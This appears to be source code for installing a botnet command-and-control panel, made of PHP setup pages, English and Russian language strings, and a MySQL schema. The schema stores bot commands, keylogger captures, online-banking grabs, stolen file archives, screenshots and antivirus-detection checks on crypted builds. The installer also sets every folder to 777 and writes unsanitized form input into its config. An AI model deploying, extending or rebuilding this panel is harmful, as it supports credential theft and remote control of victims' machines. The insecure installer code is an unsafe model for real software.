</body>
</html>
-------------------------------------------------------------------------------------NEXT FILE
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title><?php echo $lang['install']; ?></title>
<link href="/css/install.css" rel="stylesheet" type="text/css" />
<script language="javascript" type="application/javascript" src="/js/install.js"></script>
</head>
<body>
------------------------------------------------------------------------------------NEXT FILE
<?php
error_reporting(0);
if(@$_GET['to'] != 'install' && @$_GET['go'] != 'index'){
header('Location: /');
exit;
}
if(file_exists('cache/install')){
header('Location: /login/');
exit;
}
session_start();
if(!empty($_GET['lang'])){
$_SESSION['lang'] = $_GET['lang'];
header('Location: /install/index.html?step=1');
exit;
}
if(empty($_SESSION['lang'])) $_SESSION['lang'] = 'en';
if(!file_exists('scripts/install/language.'.$_SESSION['lang'].'.php')) $_SESSION['lang'] = 'en';
include_once('scripts/install/language.'.$_SESSION['lang'].'.php');
include('header.php');
?>
<table border="0" cellspacing="0" cellpadding="0" id="table_content">
<tr><td><?php echo $lang['install']; ?><br /><br /></td></tr>
<tr><td>
<div align="center">
<div id="main_block">
<?php
if(!empty($_GET['step'])) $_SESSION['step'] = $_GET['step'];
switch($_SESSION['step']){
case '1':
include('step1.php');
break;
case '2':
include('step2.php');
break;
case '3':
include('step3.php');
break;
case '4':
include('step4.php');
break;
case '5':
include('step5.php');
break;
default:
include('step0.php');
break;
}
?>
</div>
</div>
</td></tr>
<tr><td><br /><br /><a href="http://<?php print($_SERVER['HTTP_HOST']); ?>/install/info.html" target="_blank" style="text-decoration:none;color:#000">PHPINFO</a></td></tr>
<tr><td><br /><br /><?php echo $lang['ip']; ?>: <?php print($_SERVER['REMOTE_ADDR']); ?></td></tr>
</table>
<?
include('footer.php');
?>
-------------------------------------------------------------------------------------next file
<?php
if(file_exists('cache/install')){
header('Location: /login/');
exit;
}
phpinfo();
?>
---------------------------------------------------------------------------------next file
SET SQL_MODE="NO_AUTO_VALUE_ON_ZERO";
SET time_zone = "+00:00";
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
DROP TABLE IF EXISTS `bf_bots`;
CREATE TABLE `bf_bots` (
`id` int(11) unsigned NOT NULL AUTO_INCREMENT,
`prefix` varchar(20) NOT NULL,
`uid` varchar(34) NOT NULL,
`country` varchar(10) NOT NULL,
`os` varchar(128) DEFAULT NULL,
`admin` enum('0','1') NOT NULL DEFAULT '0',
`ip` varchar(32) NOT NULL,
`cmd` varchar(255) NOT NULL,
`cmd_history` text NOT NULL,
`notask` int(11) unsigned NOT NULL DEFAULT '0',
`tracking` enum('0','1') NOT NULL DEFAULT '0',
`ver` varchar(8) NOT NULL DEFAULT '0',
`min_post` int(11) unsigned NOT NULL,
`max_post` int(11) unsigned NOT NULL,
`post_id` int(11) unsigned DEFAULT NULL,
`last_date` int(11) unsigned NOT NULL,
`post_date` int(15) unsigned NOT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `bot` (`prefix`,`uid`),
KEY `country` (`country`),
KEY `prefix` (`prefix`),
KEY `os` (`os`,`admin`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
DROP TABLE IF EXISTS `bf_bots_av`;
CREATE TABLE `bf_bots_av` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`prefix` varchar(20) NOT NULL,
`uid` varchar(33) NOT NULL,
`av` varchar(64) NOT NULL,
`post_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
PRIMARY KEY (`id`),
UNIQUE KEY `prefix` (`prefix`,`uid`,`av`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
DROP TABLE IF EXISTS `bf_bots_ip`;
CREATE TABLE `bf_bots_ip` (
`id` int(11) unsigned NOT NULL AUTO_INCREMENT,
`prefix` varchar(20) NOT NULL,
`uid` varchar(34) NOT NULL,
`ip` varchar(32) NOT NULL,
`country` varchar(10) NOT NULL,
`post_id` int(11) unsigned DEFAULT NULL,
`post_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
PRIMARY KEY (`id`),
UNIQUE KEY `uniq` (`prefix`,`uid`,`ip`),
KEY `bot` (`prefix`,`uid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
DROP TABLE IF EXISTS `bf_bots_p2p`;
CREATE TABLE `bf_bots_p2p` (
`id` int(11) unsigned NOT NULL AUTO_INCREMENT,
`prefix` varchar(20) NOT NULL,
`uid` varchar(34) NOT NULL,
`ip` varchar(32) NOT NULL,
`port` smallint(5) unsigned NOT NULL,
`status` tinyint(3) unsigned NOT NULL,
`send_date` timestamp NOT NULL DEFAULT '0000-00-00 00:00:00',
`post_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
PRIMARY KEY (`id`),
UNIQUE KEY `uniq` (`prefix`,`uid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
DROP TABLE IF EXISTS `bf_builds`;
CREATE TABLE `bf_builds` (
`id` int(11) unsigned NOT NULL AUTO_INCREMENT,
`file_orig` varchar(128) NOT NULL,
`file_crypt` varchar(128) NOT NULL,
`link` text NOT NULL,
`md5` varchar(32) NOT NULL,
`md5_crypt` varchar(32) NOT NULL,
`status` tinyint(3) unsigned NOT NULL DEFAULT '0',
`prio` float unsigned NOT NULL DEFAULT '0',
`type` enum('0','1','2','3','4','5') NOT NULL,
`av` text NOT NULL,
`avt` text NOT NULL,
`avcs` text NOT NULL,
`avc` int(11) unsigned NOT NULL DEFAULT '0',
`avcf` int(11) unsigned NOT NULL DEFAULT '0',
`history` blob NOT NULL,
`up_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
`post_date` timestamp NOT NULL DEFAULT '0000-00-00 00:00:00',
PRIMARY KEY (`id`),
UNIQUE KEY `md5` (`md5`,`type`),
KEY `type` (`type`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
DROP TABLE IF EXISTS `bf_cabs`;
CREATE TABLE `bf_cabs` (
`id` int(11) unsigned NOT NULL AUTO_INCREMENT,
`prefix` varchar(20) NOT NULL,
`uid` varchar(34) NOT NULL,
`country` varchar(3) NOT NULL DEFAULT 'UNK',
`ip` varchar(16) NOT NULL,
`file` varchar(64) NOT NULL,
`size` varchar(64) NOT NULL,
`type` varchar(32) NOT NULL,
`trash` enum('0','1') NOT NULL DEFAULT '0',
`ready` int(1) unsigned NOT NULL DEFAULT '0',
`parts` int(11) unsigned NOT NULL,
`partc` int(11) unsigned NOT NULL,
`chk` enum('0','1') NOT NULL DEFAULT '0',
`post_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
PRIMARY KEY (`id`),
KEY `prefix` (`prefix`),
KEY `post_date` (`post_date`),
KEY `type` (`type`),
KEY `bot` (`prefix`,`uid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
DROP TABLE IF EXISTS `bf_cabs_parts`;
CREATE TABLE `bf_cabs_parts` (
`id` int(11) unsigned NOT NULL AUTO_INCREMENT,
`part` text NOT NULL,
`size` varchar(64) NOT NULL,
`count` smallint(11) unsigned NOT NULL,
`post_id` int(11) unsigned NOT NULL DEFAULT '0',
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
DROP TABLE IF EXISTS `bf_cmds`;
CREATE TABLE `bf_cmds` (
`id` int(11) unsigned NOT NULL AUTO_INCREMENT,
`prefix` text NOT NULL,
`country` text NOT NULL,
`online` enum('1','2','3') NOT NULL DEFAULT '1',
`cmd` text,
`lt` enum('1','2') NOT NULL DEFAULT '1',
`count` int(11) unsigned DEFAULT '0',
`max` int(11) unsigned NOT NULL DEFAULT '0',
`enable` enum('0','1') NOT NULL DEFAULT '1',
`dev` enum('0','1') NOT NULL DEFAULT '0',
`str` text NOT NULL,
`post_id` int(11) unsigned NOT NULL,
`post_date` int(15) unsigned NOT NULL,
PRIMARY KEY (`id`),
KEY `post_id` (`post_id`),
KEY `online` (`online`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 ROW_FORMAT=DYNAMIC;
DROP TABLE IF EXISTS `bf_comments`;
CREATE TABLE `bf_comments` (
`id` int(11) unsigned NOT NULL AUTO_INCREMENT,
`prefix` varchar(20) NOT NULL,
`uid` varchar(34) NOT NULL,
`uniq` varchar(32) DEFAULT NULL,
`comment` varchar(128) NOT NULL,
`type` varchar(32) NOT NULL,
`post_id` int(11) unsigned NOT NULL,
`post_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
PRIMARY KEY (`id`),
KEY `type` (`type`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
DROP TABLE IF EXISTS `bf_country`;
CREATE TABLE `bf_country` (
`id` int(11) unsigned NOT NULL AUTO_INCREMENT,
`code` varchar(16) NOT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `code` (`code`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
DROP TABLE IF EXISTS `bf_domains`;
CREATE TABLE `bf_domains` (
`id` int(11) unsigned NOT NULL AUTO_INCREMENT,
`host` varchar(128) NOT NULL,
`status` enum('0','1','2') NOT NULL DEFAULT '0',
`av` text NOT NULL,
`avt` text NOT NULL,
`avc` int(11) unsigned NOT NULL DEFAULT '0',
`avcf` int(11) unsigned NOT NULL DEFAULT '0',
`answer` enum('0','1') NOT NULL DEFAULT '0',
`comment` varchar(128) NOT NULL,
`up_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
`post_date` timestamp NOT NULL DEFAULT '0000-00-00 00:00:00',
PRIMARY KEY (`id`),
UNIQUE KEY `host` (`host`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
DROP TABLE IF EXISTS `bf_filters`;
CREATE TABLE `bf_filters` (
`id` int(11) unsigned NOT NULL AUTO_INCREMENT,
`name` varchar(128) NOT NULL,
`fields` text NOT NULL,
`host` text,
`save_log` enum('0','1') NOT NULL DEFAULT '0',
`parent_id` text NOT NULL,
`post_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 ROW_FORMAT=DYNAMIC;
DROP TABLE IF EXISTS `bf_filters_files`;
CREATE TABLE `bf_filters_files` (
`id` int(11) unsigned NOT NULL AUTO_INCREMENT,
`file` varchar(18) NOT NULL,
`type` tinyint(11) unsigned NOT NULL,
`size` int(11) unsigned NOT NULL,
`import` enum('0','1') NOT NULL DEFAULT '0',
`post_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
PRIMARY KEY (`id`),
UNIQUE KEY `ftype` (`file`,`type`),
KEY `itype` (`type`,`import`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 ROW_FORMAT=DYNAMIC;
DROP TABLE IF EXISTS `bf_ibank_gra`;
CREATE TABLE `bf_ibank_gra` (
`id` int(11) unsigned NOT NULL AUTO_INCREMENT,
`prefix` varchar(20) NOT NULL,
`uid` varchar(34) NOT NULL,
`pid` mediumint(11) unsigned NOT NULL,
`host` varchar(128) NOT NULL DEFAULT 'unknow',
`hwnd` int(11) unsigned NOT NULL,
`keyhwnd` text NOT NULL,
`grp` varchar(32) NOT NULL,
`post_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
PRIMARY KEY (`id`),
KEY `bot` (`prefix`,`uid`),
KEY `item` (`prefix`,`uid`,`pid`,`hwnd`),
KEY `grp` (`grp`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
DROP TABLE IF EXISTS `bf_keylog`;
CREATE TABLE `bf_keylog` (
`id` int(11) unsigned NOT NULL AUTO_INCREMENT,
`name` varchar(128) NOT NULL,
`hash` varchar(32) NOT NULL,
`post_id` int(11) unsigned NOT NULL,
`post_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
PRIMARY KEY (`id`),
KEY `hash` (`hash`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
DROP TABLE IF EXISTS `bf_keylog_data`;
CREATE TABLE `bf_keylog_data` (
`id` int(11) unsigned NOT NULL AUTO_INCREMENT,
`prefix` varchar(20) NOT NULL,
`uid` varchar(34) NOT NULL,
`hash` varchar(64) NOT NULL,
`shash` varchar(64) NOT NULL,
`data` text NOT NULL,
`trash` enum('0','1') NOT NULL DEFAULT '0',
`post_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
PRIMARY KEY (`id`),
UNIQUE KEY `item` (`prefix`,`uid`,`hash`,`shash`),
KEY `hash` (`hash`),
KEY `shash` (`shash`),
KEY `trash` (`trash`),
KEY `bot` (`prefix`,`uid`),
KEY `bot_hash` (`hash`,`shash`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
DROP TABLE IF EXISTS `bf_links`;
CREATE TABLE `bf_links` (
`id` int(11) unsigned NOT NULL AUTO_INCREMENT,
`link` varchar(128) NOT NULL,
`dev` enum('0','1') NOT NULL,
`post_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
DROP TABLE IF EXISTS `bf_logs`;
CREATE TABLE `bf_logs` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`prefix` varchar(20) NOT NULL,
`uid` varchar(34) NOT NULL,
`url` varchar(255) NOT NULL,
`data` text NOT NULL,
`brw` varchar(16) NOT NULL,
`protocol` varchar(16) NOT NULL,
`ip` varchar(16) NOT NULL,
`country` varchar(3) NOT NULL,
`type` int(1) NOT NULL,
`download` int(11) NOT NULL DEFAULT '0',
`hour` tinyint(4) NOT NULL,
`post_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
PRIMARY KEY (`id`),
KEY `download` (`download`),
KEY `bot` (`prefix`,`uid`),
KEY `hour` (`hour`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
DROP TABLE IF EXISTS `bf_process`;
CREATE TABLE `bf_process` (
`id` int(11) unsigned NOT NULL AUTO_INCREMENT,
`prefix` varchar(20) NOT NULL,
`uid` varchar(34) NOT NULL,
`plist` text NOT NULL,
`post_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
PRIMARY KEY (`id`),
UNIQUE KEY `bot` (`prefix`,`uid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
DROP TABLE IF EXISTS `bf_process_stats`;
CREATE TABLE `bf_process_stats` (
`id` int(11) unsigned NOT NULL AUTO_INCREMENT,
`name` varchar(64) NOT NULL,
`count` int(99) NOT NULL DEFAULT '0',
PRIMARY KEY (`id`),
UNIQUE KEY `name` (`name`),
KEY `count` (`count`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
DROP TABLE IF EXISTS `bf_screens`;
CREATE TABLE `bf_screens` (
`id` int(11) unsigned NOT NULL AUTO_INCREMENT,
`prefix` varchar(20) NOT NULL,
`uid` varchar(34) NOT NULL,
`desc` varchar(128) NOT NULL,
`file` varchar(64) NOT NULL,
`post_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
PRIMARY KEY (`id`),
KEY `prefix` (`prefix`),
KEY `post_date` (`post_date`),
KEY `bot` (`prefix`,`uid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
DROP TABLE IF EXISTS `bf_screens_logs`;
CREATE TABLE `bf_screens_logs` (
`id` int(11) unsigned NOT NULL AUTO_INCREMENT,
`prefix` varchar(20) NOT NULL,
`uid` varchar(34) NOT NULL,
`desc` text NOT NULL,
`type` varchar(32) NOT NULL,
`file` varchar(64) NOT NULL,
`post_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
PRIMARY KEY (`id`),
KEY `prefix` (`prefix`),
KEY `post_date` (`post_date`),
KEY `bot` (`prefix`,`uid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
DROP TABLE IF EXISTS `bf_users`;
CREATE TABLE `bf_users` (
`id` int(11) unsigned NOT NULL AUTO_INCREMENT,
`login` varchar(100) NOT NULL,
`password` varchar(100) NOT NULL,
`PHPSESSID` varchar(100) DEFAULT NULL,
`expiry_date` timestamp NOT NULL DEFAULT '0000-00-00 00:00:00',
`config` longtext NOT NULL,
`access` longtext NOT NULL,
`info` longtext,
`enable` enum('0','1') DEFAULT '0',
`enter_date` timestamp NOT NULL DEFAULT '0000-00-00 00:00:00',
`update_date` timestamp NOT NULL DEFAULT '0000-00-00 00:00:00',
`post_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
PRIMARY KEY (`id`),
KEY `user` (`login`,`password`),
KEY `autorize` (`login`,`password`,`PHPSESSID`,`enable`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 PACK_KEYS=0 ROW_FORMAT=DYNAMIC;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
------------------------------------------------------------------------------------next file
<?php
//$lang[''] = '';
$lang['install'] = 'Installation';
$lang['ip'] = 'Your IP';
$lang['cs'] = 'Software check';
$lang['vp'] = 'PHP Version';
$lang['module'] = 'Module';
$lang['nw'] = 'not work';
$lang['wo'] = 'work';
$lang['io'] = 'Installed (compiled)';
$lang['ev'] = 'Installed (portable)';
$lang['ni'] = 'Not installed';
$lang['in'] = 'Installed';
$lang['fu'] = 'Function';
$lang['ot'] = 'absence';
$lang['pn'] = 'Continuation is impossible';
$lang['nk'] = 'Not all components are installed or correspond to requirements';
$lang['next'] = 'Continue';
$lang['py'] = 'Check and edit rights';
$lang['nd'] = 'no write access, installation impossible.';
$lang['pf'] = 'Access rights on folders and files are established.';
$lang['nm'] = 'Setup MySQLi';
$lang['myi'] = 'MySQLi connected and configured.';
$lang['pnr'] = 'User has no rights to data record in a file.';
$lang['nsp'] = 'Can not create procedure/function';
$lang['npm'] = 'Can not connect to MySQL server';
$lang['ads'] = 'Server address';
$lang['pol'] = 'User';
$lang['pas'] = 'Password';
$lang['bad'] = 'Database';
$lang['dcz'] = 'Add cron jobs';
$lang['ndc'] = 'can not add cron job';
$lang['vns'] = 'Execute on the server:';
$lang['znf'] = 'and then push in browser F5 or skip this action.';
$lang['skip'] = 'Skip';
$lang['zcd'] = 'Jobs in cron added.';
$lang['ps'] = 'Last steps';
$lang['zav'] = 'Completed!';
$lang['aut'] = 'Log in';
$lang['ss'] = 'Social networks';
$lang['es'] = 'Email sites';
$lang['pls'] = 'Payment systems';
$lang['trs'] = 'Torrent sites';
$lang['fs'] = 'Fileshare sites';
$lang['drsa'] = 'Other sites';
$lang['drsi'] = 'Other systems';
$lang['mej'] = 'International';
$lang['sng'] = 'CIS';
?>
------------------------------------------------------------------------------------next file
<?php
//$lang[''] = '';
$lang['install'] = 'Установка';
$lang['ip'] = 'Ваш IP';
$lang['cs'] = 'Проверка софта';
$lang['vp'] = 'Версия PHP';
$lang['module'] = 'Модуль';
$lang['nw'] = 'не работает';
$lang['wo'] = 'работает';
$lang['io'] = 'Установлен (откомпилированный)';
$lang['ev'] = 'Есть (выносной)';
$lang['ni'] = 'Не установлен';
$lang['in'] = 'Установлен';
$lang['fu'] = 'Функция';
$lang['ot'] = 'отсутствие';
$lang['pn'] = 'Продолжение невозможно';
$lang['nk'] = 'Не все компоненты установлены или соответствуют требованиям';
$lang['next'] = 'Продолжить';
$lang['py'] = 'Проверка и установка прав';
$lang['nd'] = 'нет доступа на запись, установить невозможно.';
$lang['pf'] = 'Права доступа на папки и файлы установлены.';
$lang['nm'] = 'Настройка MySQLi';
$lang['myi'] = 'MySQLi подключено и настроенно.';
$lang['pnr'] = 'Пользователь не имеет прав на запись данных в файл.';
$lang['npm'] = 'Не могу подключится к MySQL серверу';
$lang['nsp'] = 'Не могу создать процедуру/функцию';
$lang['ads'] = 'Адресс сервера';
$lang['pol'] = 'Пользователь';
$lang['pas'] = 'Пароль';
$lang['bad'] = 'БазаДанных';
$lang['dcz'] = 'Добавление крон заданий';
$lang['ndc'] = 'Не могу добавить крон задания.';
$lang['vns'] = 'Выполните на сервере:';
$lang['znf'] = 'и затем нажмите в браузере F5 или пропустите данное действие.';
$lang['skip'] = 'Пропустить';
$lang['zcd'] = 'Задания в крон добавлены.';
$lang['ps'] = 'Последние шаги';
$lang['zav'] = 'Завершено.';
$lang['aut'] = 'Авторизоваться';
$lang['ss'] = 'Социальные сети';
$lang['es'] = 'Емаил сайты';
$lang['pls'] = 'Платежные системы';
$lang['trs'] = 'Торрент сайты';
$lang['fs'] = 'Файлообменные сайты';
$lang['drsa'] = 'Другие сайты';
$lang['drsi'] = 'Другие системы';
$lang['mej'] = 'Международные';
$lang['sng'] = 'СНГ';
?>
-------------------------------------------------------------------------------------next file
<?php
if($_GET['go'] != 'index') exit;
?>
<form action="/install/index.html" metod="GET">
<input type="hidden" name="step" value="0" />
<br /><br />
Select language:
<br /><br />
<select name="lang">
<option value="en">English</option>
<option value="ru">Russian</option>
</select>
<br /><br />
<input type="submit" value="OK" />
</form>
---------------------------------------------------------------------------------next file
"<?php echo $lang['cs']; ?>"
<br /><br />
<?php
if($_GET['go'] != 'index') exit;
?>
<?php echo $lang['vp']; ?>:
<?php
$ver = explode('.', phpversion());
if(version_compare(phpversion(), '5.3.3', '>=') == true){
echo phpversion();
}else{
$INSTALL = true;
echo '<span style="color:red">'.phpversion().'</span>';
}
?>
<hr />
WebServer - <?php echo $lang['module']; ?> mod_xsendfile:
<?php
if(!is_writable('cache/')) @chmod('cache/', '777');
if(preg_match('~lighttpd~', strtolower($_SERVER['SERVER_SOFTWARE'])) == true){
echo $lang['in'];
}elseif(preg_match('~apache~', strtolower($_SERVER['SERVER_SOFTWARE'])) == true){
$am = apache_get_modules();
if($am[array_search('mod_xsendfile', $am)] == 'mod_xsendfile'){
echo $lang['in'];
}else{
echo ' <span style="color:red">'.$lang['ni'].'</span>';
}
}
$check_download = @file_get_contents('http://' . $_SERVER["HTTP_HOST"] . '/accounts/check_download.html');
if(strlen($check_download) != 32){
$INSTALL = true;
echo ' <span style="color:red">('.$lang['nw'].')</span>';
}else{
echo ' ('.$lang['wo'].')';
}
?>
<hr />
PHP - <?php echo $lang['module']; ?> GeoIP Country:
<?php
if(extension_loaded ('geoip')){
echo $lang['io'];
}else{
if(file_exists('cache/geoip/') && file_exists('cache/geoip/geoip.inc') && file_exists('cache/geoip/GeoIP.dat')){
echo $lang['ev'];
}else{
$INSTALL = true;
echo '<span style="color:red">'.$lang['ni'].'</span>';
}
}
?>
<hr />
PHP - <?php echo $lang['module']; ?> MySQLi:
<?php
if(extension_loaded ('mysqli')){
echo $lang['in'];
}else{
$INSTALL = true;
echo '<span style="color:red">'.$lang['ni'].'</span>';
}
?>
<hr />
PHP - Модуль Zip:
<?php
if(extension_loaded ('zip')){
echo $lang['in'];
}else{
$INSTALL = true;
echo '<span style="color:red">'.$lang['ni'].'</span>';
}
?>
<hr />
PHP - <?php echo $lang['module']; ?> Pcntl:
<?php
$ret = exec('/usr/bin/env php -m | grep pcntl');
if($ret == 'pcntl'){
echo $lang['in'];
}else{
$INSTALL = true;
echo '<span style="color:red">'.$lang['ni'].'</span>';
}
?>
<hr />
<?php
$func = array();
$func[] = 'base64_encode';
$func[] = 'base64_decode';
$func[] = 'gzdeflate';
$func[] = 'gzinflate';
$func[] = 'pack';
$func[] = 'json_encode';
$func[] = 'json_decode';
$func[] = 'dirname';
$func[] = 'mysqli_init';
$func[] = 'openssl_encrypt';
$func[] = 'openssl_decrypt';
$func[] = 'mb_convert_encoding';
//$func[] = 'pcntl_fork';
if(count($func) > 0){
foreach($func as $value){
if(!function_exists($value)){
$INSTALL = true;
//if($_GET['func'] == 1)
echo 'PHP - '.$lang['fu'].' '.$value.': <span style="color:red">'.$lang['ot'].'</span><hr />';
}else{
//if($_GET['func'] == 1) echo 'PHP - Функция '.$value.': есть<hr />';
}
}
}
?>
<br />
<?php
if($INSTALL != true){
?>
<input type="button" value="<?php echo $lang['next']; ?>" onclick="location = '/install/index.html?step=2';" />
<?php
}else{
?>
<?php echo $lang['pn']; ?><br /><br />"<span style="color:red"><?php echo $lang['nk']; ?></span>"!
<?php
}
?>
--------------------------------------------------------------------------------------next file
"<?php echo $lang['py']; ?>"
<br /><br />
<?php
if($_GET['go'] != 'index') exit;
$INSTALL = false;
define(__DIR__, str_replace(DIRECTORY_SEPARATOR . 'scripts' . DIRECTORY_SEPARATOR . 'install', '', dirname(__FILE__)));
function recurse($dir){
global $INSTALL, $lang;
if(is_file($dir)){
if(basename($dir) != '.htaccess' && basename($dir) != '.' && basename($dir) != '..'){
if(!is_writable($dir)){
if(!@chmod($dir, '777')){
$INSTALL = true;
echo $dir . ': <span style="color:red">'.$lang['nd'].'</span><hr />';
}
}
}
}elseif(is_dir($dir)){
$d = scandir($dir);
foreach($d as $value){
if($value != '.htaccess' && $value != '.' && $value != '..'){
if(!is_writable($dir . $value)){
if(!@chmod($dir . $value, '777')){
$INSTALL = true;
echo $dir . $value . ': <span style="color:red">'.$lang['nd'].'</span><hr />';
}
}
}
if($value != '.' && $value != '..'){
recurse($dir . $value . '/');
}
}
}
}
recurse(__DIR__ . '/cache/');
recurse(__DIR__ . '/logs/');
recurse(__DIR__ . '/scripts/');
recurse(__DIR__ . '/crons/');
recurse(__DIR__ . '/classes/');
recurse(__DIR__ . '/modules/');
recurse(__DIR__ . '/cfg/');
recurse(__DIR__ . '/templates/');
recurse(__DIR__ . '/includes/');
recurse(__DIR__ . '/includes/config.php');
?>
<br />
<?php
if($INSTALL != true){
if($_GET['step'] == 3){
$_SESSION['step'] = 3;
}
?>
<?php echo $lang['pf']; ?>
<hr />
<input type="button" value="<?php echo $lang['next']; ?>" onclick="location = '/install/index.html?step=3';" />
<?php
}else{
?>
<?php echo $lang['pn']; ?><br /><br />"<span style="color:red"><?php echo $lang['nk']; ?></span>"!
<?php
}
?>
-------------------------------------------------------------------------------next file
"<?php echo $lang['nm']; ?>"
<br /><br />
<?php
if($_GET['go'] != 'index') exit;
//error_reporting(-1);
$INSTALL = false;
$ERROR = false;
if(isset($_POST['host']) && isset($_POST['user']) && isset($_POST['pass']) && isset($_POST['db'])){
$cfg_text = '';
$cfg_text .= '$cfg_db[\'host\'] = \''.$_POST['host'].'\';' . "\n";
$cfg_text .= '$cfg_db[\'user\'] = \''.$_POST['user'].'\';' . "\n";
$cfg_text .= '$cfg_db[\'pass\'] = \''.$_POST['pass'].'\';' . "\n";
$cfg_text .= '$cfg_db[\'db\'] = \''.$_POST['db'].'\';' . "\n";
//@file_put_contents('includes/config.php', $cfg_text);
ioncube_write_file('includes/config.cfg', $cfg_text);
}
include_once('includes/functions.get_config.php');
$cfg_db = get_config();
require_once("classes/mysqli.class.php");
$mysqli = new mysqli_db();
if(!empty($_POST['host'])) $cfg_db['host'] = $_POST['host'];
if(!empty($_POST['user'])) $cfg_db['user'] = $_POST['user'];
if(!empty($_POST['pass'])) $cfg_db['pass'] = $_POST['pass'];
if(!empty($_POST['db'])) $cfg_db['db'] = $_POST['db'];
$mysqli->connect($cfg_db['host'], $cfg_db['user'], $cfg_db['pass'], $cfg_db['db']);
if(count($mysqli->errors) > 0){
$INSTALL = true;
}else{
if($_GET['file_save'] != 'no'){
$mysqli->db[0]->query('GRANT FILE ON * . * TO \''.$_POST['user'].'\'@\''.$_POST['host'].'\'');
$cte = 'QWERYTEST!';
$result = $mysqli->query('SELECT concat(urldecode(\''.urlencode($cte).'\')) cte');
if($result->cte != $cte){
include_once('includes/functions.mysql_urldecode.php');
$mysqli->db[0]->query('DROP FUNCTION IF EXISTS urldecode;');
$mysqli->db[0]->query(mysql_urldecode());
$result = $mysqli->query('SELECT concat(urldecode(\''.urlencode($cte).'\')) cte');
if($result->cte != $cte){
$INSTALL = true;
$ERROR = 2;
}
}
if($ERROR != 2 && $INSTALL != true){
$test_str = md5(time());
$file_name = str_replace('\\', '/', '/tmp/' . $test_str);
$mysqli->db[0]->query('SELECT concat(urldecode(\''.$test_str.'\')) INTO OUTFILE \''.$file_name.'\' FIELDS TERMINATED BY \';\' LINES TERMINATED BY \'\'');
if(file_exists($file_name)){
if(file_get_contents($file_name) != $test_str . ';'){
$INSTALL = true;
$ERROR = 1;
}
@unlink($file_name);
}else{
$INSTALL = true;
$ERROR = 1;
}
}
}
if($INSTALL != true){
/*
$tb = array();
$tables = $mysqli->query('SHOW TABLES', null, null, false);
if(count($tables > 0)){
foreach($tables as $t){
$t = get_object_vars($t);
$t = array_shift($t);
if(preg_match('~_bak$~is', $t) != true){
$mysqli->query('DROP TABLE IF EXISTS '.$t.'_bak');
$mysqli->query('RENAME TABLE '.$t.' TO '.$t.'_bak');
$tb[$t] = $t;
}
}
}
unset($tables);
*/
if(current($mysqli->query('SHOW TABLES LIKE \'bf_bots\'')) == 'bf_bots'){
$mysqli->query('DROP TABLE IF EXISTS bf_bots_bak');
$mysqli->query('RENAME TABLE bf_bots TO bf_bots_bak');
}
if(current($mysqli->query('SHOW TABLES LIKE \'bf_bots_ip\'')) == 'bf_bots_ip'){
$mysqli->query('DROP TABLE IF EXISTS bf_bots_ip_bak');
$mysqli->query('RENAME TABLE bf_bots_ip TO bf_bots_ip_bak');
}
